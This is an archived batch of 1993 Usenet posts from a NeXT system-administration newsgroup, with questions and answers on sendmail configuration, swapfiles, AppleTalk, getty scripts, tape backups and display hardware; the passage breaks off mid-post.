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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Educational prices for 3.1 and NS486?
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References: <1993May13.122211.13009@alleg.edu>
Date: Thu, 13 May 1993 14:30:40 GMT
In article <1993May13.122211.13009@alleg.edu> danders@carn3 (Dave Anderson) writes:
>
>
>Has anyone seen any information on the educational pricing for 3.1 or
>NS486? Our local rep (Pittsburgh) claims that discussion is still going
>on about educational pricing but has also told us that no one in NeXT is
>really in charge of the higher education division!
I've been told by our rep that the jury is still out. There is still
some one in charge of higher ed, from my impression.
-rob
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From: obrooks@dale.ksc.nasa.gov(Oscar Brooks)
Subject: Sendmail.cf
Message-ID: <1993May13.152059.7604@dale.ksc.nasa.gov>
Keywords: Mail, Sendmail
Sender: news@dale.ksc.nasa.gov
Organization: NASA
Date: Thu, 13 May 1993 15:20:59 GMT
--
We have a large installation of non-NeXT computers running Yellow-Pages
and using one Ultirx Vax as the mailer relay. My NeXT (running 3.0) is not
invloved with the Yellow Pages in any way but does use the central Ultrix
mailer. The mailer works fine locally but once we send e-mail to the
internet world the "From:" line is not fully qualified. It looks like
"obrooks@worf" and it should look like "obrooks@worf.hssc.ksc.nasa.gov".
If you type the "hostname" command it returns "worf". Our hosts file have
entries like : 999.999.999.999 worf worf.hssc.ksc.nasa.gov.
My question is there any easy way in my sendmail.cf to include the
domain in the "From:" line so people can reply to me? Please send your
reply to "obrooks@dale.ksc.nasa.gov".
I am including a piece of my sendmail.cf so you can see what I am
talking about:
*****STARTS HERE!!********************************************************
# my official hostname
Dj$?m$w.$m$|$w$.
# major relay mailer
DMether
# major relay host
DRcore1.hssc.ksc.nasa.gov
CRcore1.hssc.ksc.nasa.gov
############################################################
#####
##### General configuration information
#####
# local domain name
#
# This is now set from the resolver configuration call. If the domain
# name you would like to have appear in your mail headers is different
# from your Internet domain name, edit and uncomment the following to
# be your mail domain name.
# DmPodunk.EDU
Dmhssc.ksc.nasa.gov
#Dwworf.hssc.ksc.nasa.gov
# Version number of configuration file
DVNeXT-2.0
### Standard macros
# name used for error messages
DnMailer-Agent
# UNIX header format
DlFrom $g $d
# delimiter (operator) characters
Do.:%@!^=/[]-
# format of a total name
Dq$g$?x ($x)$.
# SMTP login message
De$j Sendmail $v/$V ready at $b
*****ENDS HERE!!**********************************************************
Thanks!
O
------------------------------------------------
Oscar Brooks
Mail Code: DL-DSD-24
Kennedy Space Center, Fla. 32899
Internet: obrooks@dale.ksc.nasa.gov
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Trying to make acct'ing return useful info
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Organization: Indiana University
Date: Thu, 13 May 1993 15:39:18 GMT
After turning on accounting, I get a results that aren't very
representative of what actually went on. For example, I have some
machines that are pretty much used for Mathematica and Maple. But
when I do an sa, I see mention of either. As a matter of fact, few
apps show up. Workspace, Remotes and Terminal are usually the only
ones. There is one 'process' that shows up "***other". It usually
has a high number of launch times, so I'm assuming it is basically all
those apps that aren't being registered. Seems to be no way to figure
how many of those are Mathematica or Maple or if they are VOID.
Anyone else run into this?
-rob
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From: ndawson@vx9000.weber.edu (Neil Dawson)
Subject: RE: Banner Pages
Message-ID: <13MAY199309385633@vx9000.weber.edu>
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Date: 13 May 1993 09:38 MST
Hi again,
Sorry for the duplicate posting about banner pages. Just as I sent the first
one the system went soen and I didn't think it got sent. But I still need your
help about banner pages. Thanks/Sorry
Neil
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From: me@next45.wsi.physik.tu-muenchen.de(Matthias Rosenberger)
Subject: restarting Appletalk without reboot?
Message-ID: <1993May13.165038.25227@news.lrz-muenchen.de>
Sender: news@news.lrz-muenchen.de (Mr. News)
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Date: Thu, 13 May 1993 16:50:38 GMT
I use Appletalk for printing on an Apple printer. Frequently, the atalkd -
daemon is hanging up with high cpu load. If I don't want to reboot my station,
I have to kill the daemon, but then Appletalk isn't working anymore, even if I restart the atalk process. I already tried to unload the atalkks kernel with ks_util, but then the kernel_loader hangs up.
So, I'd like to
know how I can restart the Appletalk processes without rebooting.
Thanks for all help in advance!
Matthias Rosenberger
me@next45.wsi.physik.tu-muenchen.de
art the atalk process. I already tried to unload the atalkks kernel with ks_util, but then the kernel_loader hangs up.
So, I'd like to
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From: M_Carling@BlueRose.com (M Carling)
Subject: Re: filesystem full; can't reboot
Message-ID: <1993May13.000547.711@bluerose.com>
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Date: Thu, 13 May 1993 00:05:47 GMT
In article <1srd92$5ga@morrow.stanford.edu> minch@lotka.stanford.edu
writes:
> Somehow the 105MB internal on our station has gotten full, even
> though it has only a minimal number of system files and all user
> work is restricted to an external hanging off a remote server.
> Now reboots seem impossible, even in single user mode. I don't
> know what file[s] have used up all the space (there should be
> ~40MB free) and know no way to find out. The station responds to
> pings across the net but no telnet and NFS access is of course
> impossible.
> Anyone know of a way around this besides reinstalling 3.0?
Boot from a floppy disk.
M Carling
President, Bay Area NeXT Group
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From: crath@bnr.ca (Christopher Rath)
Subject: BSD SysAdmin Manual
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Date: Thu, 13 May 1993 16:28:47 GMT
The NeXT FAQ writes:
> [...lots of stuff deleted...]
>
> BSD unix documentation (MISC, PS1, PS2, SMM, USD). Available from to
> USENIX site members. A lot of this has been integrated into the NeXT
> documentation. Some of this is sorely missing. The SMM Unix System
> Manager's Manual is really useful!
>
> USENIX Association
> 2560 Ninth Street, Suite 215
> Berkeley, CA 94710
> USA
> +1 510 528 8649
> fax +1 510 548 5738
> office@usenix.org
>
> PS1 = Programmer's Supplementary Documents, Volume 1
> PS2 = Programmer's Supplementary Documents, Volume 2
> SMM = System Manager's Manual
> USD = User's Supplementary Documents
I bought this set. However, USENIX was/is sold out of the System
Manager's Manual (SMM).
> [Carl Edman <cedman@capitalist.princeton.edu>] adds:
>
> The SMM and the rest of the berkeley documentation are also available
> directly and for free via anon ftp e.g. from
>
> ftp.uu.net /packages/bsd-sources/share/doc.
>
> To format them properly for viewing and printing on the NeXT use nroff
> with the package indicated by the file suffix (e.g. to format the
> documentation file 0.t use 'nroff -mt 0.t').
Has anyone formatted the SMM? If so, could they send me the postscript
files? Or, tell me where I can ftp a postscript version of the SMM?
Thanks,
Christopher
--
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BNR Lab 5 |
Ottawa, ON, Canada | "Hydrogen is a colourless, odourless gas which, given
(613) 765-3141 | enough time, turns into people." -- Henry Hiebert
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From: me@next45.wsi.physik.tu-muenchen.de(Matthias Rosenberger)
Subject: Re: restarting Appletalk without reboot?
Message-ID: <1993May13.173839.25993@news.lrz-muenchen.de>
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Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
References: <1993May13.165038.25227@news.lrz-muenchen.de>
Date: Thu, 13 May 1993 17:38:39 GMT
Sorry, a correction to my first posting:
I tried 'kl_util', not 'ks_util'.
By the way, what's wrong with my NewsGrazer that it's copying some text lines to the bottom oft the page?
M
atthias Rosenberger
me@next45.wsi.physik.tu-muenchen.de
wsGrazer that it's copying some text lines to the bottom oft the page?
M-muenchen.de
art the atalk process. I already tried to unload the atalkks kernel with ks_util, but then the kernel_loader hangs up.
So, I'd like to
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From: scott@geom.umn.edu (Scott S. Bertilson)
Subject: Re: netinfo across routers ??
Message-ID: <C6z90H.En2@news.cis.umn.edu>
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Organization: Geometry Center, University of Minnesota
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Distribution: na
Date: Thu, 13 May 1993 18:06:38 GMT
In article <1sr0sm$qad@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos) writes:
>someone is going to suggest that Netinfo shouldn't handle a 100
>machines spread over two servers, then I'll soundly flame them,
>because we run *thousands* of machines off of 4 DNS servers with no
I can't resist commenting that I think there is a tremendous
difference between the throughput of DNS and Netinfo servers.
Netinfo does whack the disk fiercely whereas DNS ("named"
anyway) keeps the information memory resident with rare disk
accesses. Just updating a 20 line "fstab" under Netinfo
means 10-20 seconds of sustained disk thrashing. (They must
be using "FSYNC" or something to force synchronous writes
when updating.)
Scott
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From: scott@geom.umn.edu (Scott S. Bertilson)
Subject: Re: ?: NS and disk drives > 2.0GB
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Date: Thu, 13 May 1993 18:18:35 GMT
Heh, yah, we ran into the same problem several months ago when we
installed a pair of 3.5 gig drives on an NFS server:
work0-fs:/work0 -1384461-1578389 193928 93% /work0
work1-fs:/work1 -1384461 1581714 1228129 56% /work1
No problems on our 30 NeXTs thus far...either under 2.X or 3.0.
--
From: minch@lotka.stanford.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: filesystem full; can't reboot: Fixed & thanks all
Date: 13 May 1993 18:07:08 GMT
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Got lots of advice, mostly helpful, and it's now fixed. Special
thanks to all those who not only understood the problem ("Your
swapfile got too big") and the solution ("Boot off an alternate
source"), but told me where to find BootFloppy (I couldn't find
it at Purdue but it was in one of Oregon's bin directories). I
was even Nextmailed a copy! I'm keeping it handy from now on. I
just hope my old cube with the busted OD drive never has the
same problem....
--
Eric Minch
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From: karthy@dannug.dk (Karsten Thygesen)
Subject: Re: filesystem full; can't reboot
In-Reply-To: minch@lotka.stanford.edu's message of 12 May 1993 17:48:18 GMT
Message-ID: <KARTHY.93May13191807@dannug.dannug.dk>
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Date: Thu, 13 May 1993 18:18:07 GMT
>>>>> On 12 May 1993 17:48:18 GMT, minch@lotka.stanford.edu said:
minch> NNTP-Posting-Host: lotka.stanford.edu
minch> Somehow the 105MB internal on our station has gotten full, even
minch> though it has only a minimal number of system files and all user
minch> work is restricted to an external hanging off a remote server.
minch> Now reboots seem impossible, even in single user mode. I don't
minch> know what file[s] have used up all the space (there should be
minch> ~40MB free) and know no way to find out. The station responds to
minch> pings across the net but no telnet and NFS access is of course
minch> impossible.
minch> Anyone know of a way around this besides reinstalling 3.0?
We have tried the same several times now on a slab at the university.
The problem in our case it the swapfile which grows beyond bounds. The
only way I could get the machine up again was to boot in single user
mode from a CD and the simple remove the swapfile and clear /tmp/
You can either put a hiwatermark in /etc/swaptab or make a little hack
in /etc/rc.boot which truncates the swapfile (I did both).
Good luck,
Karsten.
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From: woo@ornl.gov (John W. Wooten)
Subject: Mail.app can't read new mail?
Message-ID: <1993May13.183737.15228@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Thu, 13 May 1993 18:37:37 GMT
I recently moved my user files to another drive and put a link to my
new user area back on the old drive where my account was. Thus
Was
/Users/woo/directories
Is now
/Users/woo->/NewDrive/Users/woo
and
/NewDrive/Users/woo has all directories as
/NewDrive/Users/woo/directories
(This may not be related to the problem, but I did change things around
like this about the time...)
Now mail arrives and I can read it with the unix command mail,
but the Mail.app doesn't show any new mail. I've checked my Mail.app
preference, but they still point to /usr/spool/mail, which is where the
mail still goes.
Any ideas about why Mail.app doesn't show any new mail?
- - - - - - - - -
J. W. Wooten
Newsgroups: comp.sys.next.sysadmin,comp.unix.questions
From: gerben@rna.indiv.nluug.nl
Subject: How can I make my terminal port to accept just one connection?
Message-ID: <1993May13.194559.12167@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
Date: Thu, 13 May 1993 19:45:59 GMT
Since I don't get comp.unix.questions here, please answer by email.
Here is my problem. I'd like to let a program (script) turn on a getty on a
port. After that getty has spawned a login (or a period of more than 15 minutes
has passed) I want the port to be free from a getty again. This is what i
tried.
I have a script called "setty". It looks like this:
===================================
#!/bin/sh
case $2 in
off)
/usr/local/bin/perl -p -i -e "s/^$1/#$1/;" /etc/ttys
kill -1 1
;;
on)
/usr/local/bin/perl -p -i -e "s/^#$1/$1/;" /etc/ttys
kill -1 1
;;
esac
====================================
This, effectively turns the port on/off and it works. But I want that the
resulting getty (after it has spawned a login and this login has spawned a
shell and the shell exits) not to be restarted. So I made a second script that
should run instead of /usr/etc/getty. It is called "resetgetty" and it looks
like this:
=====================================
#!/bin/sh
trap "" 15
/usr/local/bin/setty $2 off
exec /usr/etc/getty $*
=====================================
The line in /etc/ttys reads:
=====================================
#ttyb "/usr/local/bin/resetgetty std.4800" vt100-p on secure
=====================================
(ttyb is a vt100 terminal. I want to run this on my modem port, but ttyb is
just used for trial.)
The trap is to prevent the following call to the setty script (which in its
turn calls kill -1 1) to kill this invocation of resetgetty.
But this does not work. First, the trap does not prevent for some reason that
there is no /usr/etc/getty on the port after I have run "setty ttyb on". If I
comment the setty command in the resetgetty script there *is* a getty, but for
some reason it does not work properly. There is at least some baudrate problem.
It is on the line, it is called with the right arguments (argv[0] looks
different in ps, but if that has something to do with it...?)
(If you wonder why I want this: I have an answering machine that runs in
software on my NeXT on the same telephone line and that answers after 3 rings.
Normally I just want the answering machine to run, but if I call it and enter a
code I want it to tell the modem to accept calls on the line after one ring.
After a login has taken place I want the answering machine to be the one that
answers the line again, therfore this automated one-getty construction).
Thanks for any hints,
--
Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539
"If you don't know where you are going, any road will
take you there." From the Talmud(?), rephrased in
Lewis Carroll, "Alice in Wonderland".
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From: draphsor@deathstar.stanford.edu (Matt Rollefson)
Subject: Re: swapfile on extrernal (non-boot) disc
Message-ID: <1993May13.203723.17721@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: Residential Computing, Stanford University
References: <3818@symbas.uucp>
Date: Thu, 13 May 93 20:37:23 GMT
In comp.sys.next.sysadmin hans@symlab.UUCP () writes:
>On some of our installations we'd like to have the system swap file
>( for virtual memory ) located on one of the external ( non boot )
>SCSI disks, but this seems a lot easier said than done.
There's a NextAnswer for this; here are some portions that may help.
The NextAnswer is os.355.
Q: Does anyone have any experience setting up an alternative swap
device? I'm booting off the Ethernet and want to swap to a 330. Do I
just label my 330 as swapdisk?
A: Following is the answer, and lots of background. The quick
answer, though: yes, call it swapdisk and things (mostly) work, with
only a little more to do, like modifying swaptab(5) and fstab(5).
...
Now we have the possibility of the swapdisk, which we want to use
automatically. So, another rc script was written: rc.swap handles the
determination of whether there's a swapdisk present, and, if so,
turning on paging to it. To do this, rc.swap looks in /etc/fstab,
trying to find a file system called /private/swapdisk which should be
mounted. (NOTE: this information is NOT obtained from NetInfo!) If
it finds one, it looks at the device's label, to see if the device is
called swapdisk. If not, it ignores the disk; if so, it continues on
to enable paging on that disk. (See the checkswap(8) command for yet
more details.)
Specifically, to enable paging, rc.swap first mounts the file system.
Then, it ensures that the file
/private/swapdisk/vm/swapfile
exists, and invokes mach_swapon to turn on paging P turning it on
explicitly to this file, and not consulting swaptab. In addition,
rc.swap ensure that /tmp references a directory on the swapdisk.
None of this changes what rc itself does, though. It still invokes
mach_swapon, just like in the Goode Olde Dayes. This will enable
paging to two files (based on the standard configuration of swaptab):
/private/swapdisk/vm/swapfile
/private/vm/swapfile
This might seem like A Good Thing, but it isn't. Last we knew, there
was a (minor?) bug which prevented using multiple swapfiles
successfully. (The bug is that if a mapped file spans swapfile
boundaries, not-completely-predictable things can happen. To tickle
the bug, though, the primary swapfile must fill up first.) Should be
benign, really.
So, back to the original question! Here it is again:
Q: Does anyone have any experience setting up an alternative swap
device? I'm booting of the Ethernet and want to swap to a 330. Do I
just label my 330 as swapdisk?
Yes, label the 330 as swapdisk, and all should be fine. Note that
everything after the first eight characters in the disk name is
ignored, so swapdisk1 or swapdiskFuBar is supposed to work, too. But,
please please please don't then boot off the 330 after having used it
for a swapdisk: /tmp will be screwed up. Remember that rc.swap puts
points /tmp to the swapdisk? Well, you end up with /tmp referencing
(eventually)
/private/swapdisk/tmp
(We say *eventually: because there are multiple levels of symbolic
links). So at best, a bit of mucking around, perhaps in rc, will be
needed to set things back to rights. If you're always going to boot
off the network, then
7 rename your disk to be swapdisk;
7 be sure that /private/swapdisk is referenced in the client
partition's fstab;
7 to be safe, be sure that /private/vm/swapfile is not
referenced in the client
partition's swaptab.
A reasonable fstab entry for this would be
/dev/sd0a /private/swapdisk 4.3 rw,noquota,noauto
0 1
And, if booting off both the network and the 330 is desired, add stuff
to ensure that /tmp is always a valid reference (perhaps adding this
to rc.swap would be reasonable: if no swapdisk is present, ensure that
/tmp references /private/tmp, and that /private/tmp is a real
directory, not a link to, for example, /private/swapdisk/tmp).
Incidentally, one CAN use a swapdisk in conjunction with booting off a
SCSI. Just connect up an outboard disk, name it swapdisk, ensure
there's a file system on it, and put the device in fstab, using a line
like that above but specifying /dev/sd1a instead of /dev/sd0a, for
example.
-------
Hope this helps. Sorry it's so long.
--
Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu
Residential Computing, Stanford University NeXTmail accepted
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From: draphsor@deathstar.stanford.edu (Matt Rollefson)
Subject: Re: npd dying
Message-ID: <1993May13.204252.18221@leland.Stanford.EDU>
Keywords: npd
Sender: news@leland.Stanford.EDU (Mr News)
Organization: Residential Computing, Stanford University
References: <1sn3s4$355@terminator.rs.itd.umich.edu>
Date: Thu, 13 May 93 20:42:52 GMT
In comp.sys.next.sysadmin reb@aa.ans.net (R. Eric Bennett) writes:
>I've got a NeXT Cube running 2.0 in my office, serving primarily as a
>print server. However, it occasionally just stops printing.
[deleted]
>What am I doing wrong?
>Why does npd keep dying (without syslogging nonetheless)?
Nothing. It's buggy.
>Is there a permanent fix?
Upgrade to 3.0. It's much more robust. The postscript interpreter is
also a lot better.
--
Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu
Residential Computing, Stanford University NeXTmail accepted
From: sawtelle@mariposa.stonecutter.com (Don Sawtelle)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.software
Subject: apparently one must register by May 14th to rcv SW -at- expo [was Re: May Update: NeXTWORLD Expo Info Bulletin (Special Offers and Full Agenda)]
Date: Thu, 13 May 93 14:38:30 PDT
Organization: Stonecutter Software
Message-ID: <01050131.1g3f67@mariposa.stonecutter.com>
Distribution: world
In article <1s4c31$859@rosie.next.com> (comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.software), Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) writes:
> -OR- Call Toll-Free: 800/767-2336 (US only: 8:30a.m.- 6:00p.m. EST)
A person at this number said, INCORRECTLY, that there is a cut-off date
of tomorrow (May 14th) for the $995 deal, and if you don't make full
payment by that time you have to register on-site at $1095 to get the
deal that includes NEXTSTEP 486.
My subsequent conversation with this person was not totally clear so I
called 800-848-NEXT and talked to Lisa, who didn't know whether the
cutoff existed, but referred me to 415-366-0900; a person at this
number referred me to expo information at 800-767-2336.
The person at this last number (800-767-2336) said that you can register
anytime before the conference for $995 and get the software, but if you
don't register by tomorrow (May 14th) the software may not be there for
you at the conference (I assume it would be backordered and shipped
later).
So apparently a cutoff does exist, but it is one involving the guarantee
of a software package actually being available for you at the Expo, not
a question of $995 .vs. $1095.
---
Don Sawtelle:Stonecutter Software:Mariposa, CA
sawtelle@stonecutter.com
From: brian@systemix.com (Brian Cuthie)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: dump : write error
Date: 13 May 1993 18:34:46 -0400
Organization: Systemix Software, Inc.
Distribution: world
Message-ID: <1suie6INNcm1@systemix.com>
References: <3819@symbas.UUCP>
In article <3819@symbas.UUCP> hans@symlab.UUCP () writes:
>
>I've tried to dump 1 GB of data onto a HP35460 tape drive (/dev/rst0)
>using a 197 ft dat tape, and the following message is issued in the
>middle of the backup:
>
> DUMP: Tape write error 24909 feet into tape 1
>
>My question is n o t how thats possible on a 197' tape :-)
>(the man page operates with size equivalents ( 1600 bpi
> reel-to-reel tape)), rather how many "feet" equivalents are my 197'
>tape ?
>In other words : Which value should I give the s key in the dump program ?
>
>
Assuming that dump is figuring the tape at 1600 bpi, it should
be something like:
1.2 GB tape capacity (assuming 60 meter tape, no compression)
1.2GB / 1600 = 750,000 (equivalent tape inches)
750,000 / 12 = 62,500 (equivalent tape feet)
~62,000 feet of 1600 bpi tape
This assumes that dump doesn't factor inter-record gaps and such into it's
idea of tape size.
Of course, if you had SafetyNet you wouldn't have this problem :-)
Briam
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Newsgroups: comp.sys.next.sysadmin
From: darrell@atlantic (Darrell Duffy)
Subject: NeXT <-> Macintosh Appletalk connectivity??
Message-ID: <C6zMI4.5o@oceania.com>
Sender: darrell@oceania.com (Darrell Duffy)
Organization: Oceania Health Care Systems
Date: Thu, 13 May 1993 22:58:49 GMT
I'm having problems establishing connections between a Macintosh and a NeXT machine
for file sharing using Appletalk.
NeXT V3.0 with Appletalk package installed and running.
Mac Powerbook Duo 230, V7.1 on local talk.
Daystar pathfinder Ethertalk / Localtalk router.
Appletalk on the NeXT machine sees the duo, but only connects as Guest.
I've enabled a user on the duo as the same name as the unix login on the NeXT.
Guest on the duo has rights to see all the files and folders.
I've checked the Netinfo stuff and it's all set correctly according to the NeXT
documentation.
Problems: Duo does not see the NeXT machine. I'm not sure from documentation whether
it should be able to or not. Can NeXT act as a server?
The NeXT machine does not see the files or folders on the DUO. A directory appears in
the localTalk folder under /Net/Appleshare, but it's empty.
Disconnect does not work from preferences. It complains that some file is open.
Eventhough I close all folders in the workspace.
Logging out, or even a reboot does not cause or allow the NeXT machine to connect with
my username rather than Guest.
Can someone forward any insights to these problems? Please reply by Email.
Thanks much,
djd
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Oceania Healthcare Systems, 415 322 0127
325 Lytton Ave., Suite 400
Palo Alto, CA 94301-1431
From: daugher@cs.tamu.edu(Walter C. Daugherity)
Newsgroups: comp.sys.next.sysadmin
Subject: spurious DMA interrupts
Date: 14 May 1993 01:11:07 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1surjb$p91@tamsun.tamu.edu>
Keywords: DMA problems
4 times on 2 NeXTs in the last 10 days we have had system panics which loop
saying, among other things, "spurious DMA interrupt state 0x1000000 channel
0x2000110." These systems were previously extremely reliable. My suspicion is
power glitches (but we have a monstrous Liebert power conditioner!) or
extremely heavy ethernet traffic (but that SHOULDN'T crash the system, should
it?). Any clues? E-mail appreciated.
Thanks!
P.S. Both are NeXTcubes running 3.0. One is an '030, one is an '040.
--
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Texas A & M University uucp: uunet!cs.tamu.edu!daugher
College Station, TX 77843-3112 BITNET: DAUGHER@TAMVENUS
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From: jimc@tau-ceti.isc-br.com (Jim Cathey)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: swapfile on extrernal (non-boot) disc
Message-ID: <3497@tau-ceti.isc-br.com>
Date: 14 May 93 01:50:43 GMT
References: <3818@symbas.uucp> <1993May13.203723.17721@leland.Stanford.EDU>
Organization: Olivetti North America, Spokane, WA
In article <1993May13.203723.17721@leland.Stanford.EDU> draphsor@deathstar.stanford.edu writes:
>Q: Does anyone have any experience setting up an alternative swap
>device? I'm booting of the Ethernet and want to swap to a 330. Do I
>just label my 330 as swapdisk?
>
>Yes, label the 330 as swapdisk, and all should be fine. Note that...
All good information, but with one other caveat (you can tell who got
bit by this). Make sure that the proposed swapdisk is below any
disk volume that's not mounted. That is, if you have a CD-ROM, make
sure it's got a higher SCSI ID or the rc.swap script will stop looking
for swapdisks as soon as it hits it, if there is no disk in the drive.
I changed my script, as it was easier than opening the boxes.
The script starts with /dev/sd0a and works its way up looking at labels,
and it stops on the first failure.
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Newsgroups: comp.sys.next.sysadmin
From: hal@codex.com.au
Subject: Re: Who distributes netinfo for beige hardware?
Message-ID: <1993May14.010045.1672@codex.oz.au>
Keywords: netinfo, sun, sparc, hp, dec, ibm
Sender: hal@codex.oz.au
Organization: Codex Software Development Pty Ltd
References: <67493@mimsy.umd.edu>
Date: Fri, 14 May 93 01:00:45 GMT
In article <67493@mimsy.umd.edu> alex@cs.umd.edu (Alex Blakemore) writes:
> who distributes netinfo for Suns and other non NeXT platforms?
> has anyone had good or bad experiences with it?
>
Saw your News posting.... re NetInfo
Xedoc Software Development are the developers of NetInfo for Biege Hardware. It's called NetInfo Editions and is 100%
compatible with Black NetInfo. Currently ported to SPARC, Solbourne, Auspex, SGI, RS/6000, HP/UX, and OSF/1 with DEC OSF/1
and Ultrix coming soon.
Regards Horace (hal@xedoc.com.au)
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Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: Ownership and Permission problems
Message-ID: <1993May14.025428.8971@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1ruoe6$q5t@nwfocus.wa.com>
Date: Fri, 14 May 1993 02:54:28 GMT
Dean Johnson (dean@thrall.com) wrote:
:
: Once again I find myself in need of some advice/help.
:
: I just grabbed the file "AlexAlexNeXTSTEPBook.tar.Z" of an ftp
: site and uncompressed and unarchived it; with a strange side effect.
: After get a directory named "PostScript" I noticed that it had different
: permissions and ownerships than it should have had. I had unarchived
: it as "root", but didn't look at it until later. So, when I went to
: delete the dir, the system beeped at me. Examining the output from
: "ls -lag" it showed that the dir "PostScript" was owned by user
: "steph" group "wheel".
:
: So, all that said. I do have a user named "steph" (my wife), but she is
: group "other" - not "wheel". Second why would she have permission and not
: root (the one that unarchived the .tar file).
:
: After deleting it I unarchived it as "dean" (me) and it had the permissions
: and ownerships that it should have (user dean - group other).
:
: Can anybody help me understand this strange mix-up? I'm hopeful that
: this isn't a major problem, just a quirk (maybe).
:
:
Tar preserves owner, group and permission information in it.
It was coincidence that the owner of the file had a uid that matched a
user on your current system. Ditto gid.
While it isn't a problem per say; tar is doing it's job. However you
should not casually try new software as root if you are at all concerned
about security.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: M_Carling@BlueRose.com (M Carling)
Subject: Re: Would a Seagate HD boot my 030 cube?
Message-ID: <1993May13.151822.2057@bluerose.com>
Sender: m@bluerose.com
Organization: Blue Rose Systems, Inc.
References: <1993May12.205757.6983@bnlux1.bnl.gov>
Distribution: na
Date: Thu, 13 May 1993 15:18:22 GMT
In article <1993May12.205757.6983@bnlux1.bnl.gov> piro@bnlux1.bnl.gov
(Oreste Piro) writes:
> I have this very definite question and would like a very definite
> answer:
>
> Is it possible to build a bootable disk from a 040 nonturbo cube
> and boot an 030 machine from it?
Definitely.
> Would the Seagate ST41200N do it?
That it is possible doesn't guarantee that any particular attempt will be
successful.
M Carling
President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin
From: edmtl@alf.uib.no (Thor Legvold)
Subject: Remote Appletalk possible???
Message-ID: <1993May14.111344.20098@alf.uib.no>
Organization: University of Bergen, Norway
Date: Fri, 14 May 93 11:13:44 GMT
Hi.
While we are trying (without luck) to get SLIP up and running, I
am doomed to use a 2400 baud link. A friend here has a 14.4
on his Mac, and is running Remote Apple Talk. He is willing to
let me call in (he's on the net) and Apple talk all I want.
Is this possible? Probable?
Please e-mail replies.
Regards,
Thor
--
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NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Newsgroups: comp.sys.next.sysadmin
From: mcdougal@jensen.cc.brandeis.edu (brendan mcdougall)
Subject: removing links
Message-ID: <1993May14.155125.13295@news.cs.brandeis.edu>
Sender: news@news.cs.brandeis.edu (USENET News System)
Organization: Brandeis University
Date: Fri, 14 May 1993 15:51:25 GMT
Hi,
I am posting this for a colleague at Brandeis University. If you could
send an e-mail reply to grisaru@binah.cc.brandeis.edu (or me if its easier
for you to hit reply :)
How does one remove a link between an external hard disk and the root
directory? Marc has a NeXTStation with a 1GB external hard drive and
created a link he needs to KILL. Too, the documentation is abstruse, so
any and all help would be appreciated.
Thanks and see you on the net.
Brendan McDougall
Newsgroups: comp.sys.next.sysadmin
From: jja@fnbc.com (Joseph Alotta)
Subject: how to reorganize my file system
Message-ID: <1993May12.193552.638@fnbc.com>
Keywords: reorganize
Sender: news@fnbc.com
Organization: First National Bank Of Chicago, Chicago IL, USA
Date: Wed, 12 May 93 19:35:52 GMT
greetings,
with an astray program, i created hundreds of files in
my /tmp directory. i've since deleted them all and my
/tmp directory is empty.
however, performance is still much slower than it's been.
i was thinking i need to reorganize the entire disk. can someone
tell me what commands to issue?
joe.
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! (312) 732-3439 !
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! count on Paul for support." !
! George Bernard Shaw !
==============================================================
From: f_cnnghamjk@ccsvax.sfasu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: swing
Message-ID: <1993May14.145616.4747@ccsvax.sfasu.edu>
Date: 14 May 93 14:56:16 CST
Organization: Stephen F. Austin State University
Is there a unix version of swing?
-- kc
From: f_cnnghamjk@ccsvax.sfasu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: NewsGrazer won't get articles
Message-ID: <1993May14.145858.4748@ccsvax.sfasu.edu>
Date: 14 May 93 14:58:58 CST
Organization: Stephen F. Austin State University
NG is getting the list of newsgroups, but it won't get the articles.
Any ideas?
-- kc
Newsgroups: comp.sys.next.sysadmin
From: jhalchin@alleg.edu (Judy Halchin)
Subject: problem configuring NeXTDimension with Preferences.app
Message-ID: <1993May14.201319.3399@alleg.edu>
Sender: news@alleg.edu
Organization: Allegheny College
Date: Fri, 14 May 1993 20:13:19 GMT
I'm trying to transfer a NeXTDimension board from one '040 cube to
another. I want to run the cube with both the color and MegaPixel
displays. After installing the board, I ran Preferences to try to turn on
both displays. It had booted with the color monitor active. When I tell
Prefences to activate the MegaPixel display, instead of showing me a
picture of a second display, a vertical bar appears beside the picture of
the first display. The bar is about 15 pixels wide and extends the full
height of the lower portion of the Prefences panel. It changes between
gray and white depending on which display is selected, just as the
pictures of the displays are supposed to do.
More strange symptoms:
If I click the off button, to deactivate the MegaPixel, and then click
it on again, Preferences crashes.
Clicking in the region surrounding the picture of the display causes
vertical and horizontal scrollers to appear.
Sometimes, after a bit of playing around, the picture of the color
display disappears and won't reappear.
Other details that may or may not be important:
The cube is running 3.0.
The NeXTDimension board was working fine on a different 3.0 cube, and I
was very careful about electrostatic discharge when I moved it.
The cube into which I'm trying to install the board is one of the old
ones that they warn you can't be used with only a color monitor
unless the power supply is upgraded.
Any advice anyone can give will be much appreciated. NeXT says they have
